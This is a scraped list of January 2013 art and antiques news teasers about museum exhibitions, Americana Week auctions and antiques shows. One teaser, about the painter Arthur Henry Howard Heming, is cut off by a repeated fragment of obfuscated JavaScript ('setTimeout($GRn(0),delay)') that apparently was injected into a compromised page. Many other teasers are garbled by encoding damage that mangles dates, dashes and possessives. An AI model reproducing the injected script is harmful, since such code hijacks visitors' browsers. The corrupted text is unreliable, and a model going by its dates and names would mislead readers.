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January 29, 2013Housed in a magnificent Seventeenth Century Dutch palace in The Hague, the Royal Picture Gallery Mauritshuis is home to some of the world most admired paintings †including Johannes Vermeer...
January 29, 2013⁒embrandt and the Dutch Golden Age: Highlights from the Detroit Institute of Arts [DIA] †will open at the Frist Center for the Visual Arts on February 1. Drawn entirely from the DIA collection,...
January 29, 2013Artist Colleen Browning (1918′003), a National Academician, played a significant role in America contemporary Realist movement in the years after 1950. Fairfield University rediscovers and celebrates...
January 29, 2013The first of the Americana Week in New York City events for 2013 witnessed healthy results, with Copley Fine Art posting solid performances for both the extensive selection of sporting art and for the vast...
January 29, 2013Christie launched its Americana Week auctions on January 24′5 with new discoveries and old treasures. One of four circa 1765‱770 chinoiserie decorated porcelain tea bowls newly attributed to South...
January 29, 2013Now in its 14th year, the New York Ceramics Fair was the first of the shows to officially kick off Americana Week in New York. The event, produced by Caskey Lees, Inc, opened for a gala preview on Tuesday...
January 29, 2013FAIRFIELD, CONN. — Artist Colleen Browning (1918–2003), a National Academician, played a significant role in America’s contemporary Realist movement in the years after 1950. Although...
January 29, 2013OLD LYME, CONN. — Arthur Henry Howard Heming’s (1870–1940) paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay...
January 29, 2013By: David S. Smith NEW YORK CITY — The first of the Americana Week in New York City events for 2013 witnessed healthy results, with Copley Fine Art posting solid performances...-
January 22, 2013After nearly 50 years of managing the Greater York Antiques Show, more than 40 years in tandem with her late husband Jim, Donna Burk is handing over the reins to a new management team, Mitchell Displays...
January 22, 2013On December 13 at Sotheby, the sale A Show Of Hands: Photographs from The Collection of Henry Buhl concluded, bringing a total of $12,318,704. The total is the third highest for a single-owner...
January 22, 2013For two days, January 5 and 6, the telltale aroma of old paper wafted above the exhibition space at the XL Center as the popular antique paper show known as Papermania Plus marked its 63rd edition...
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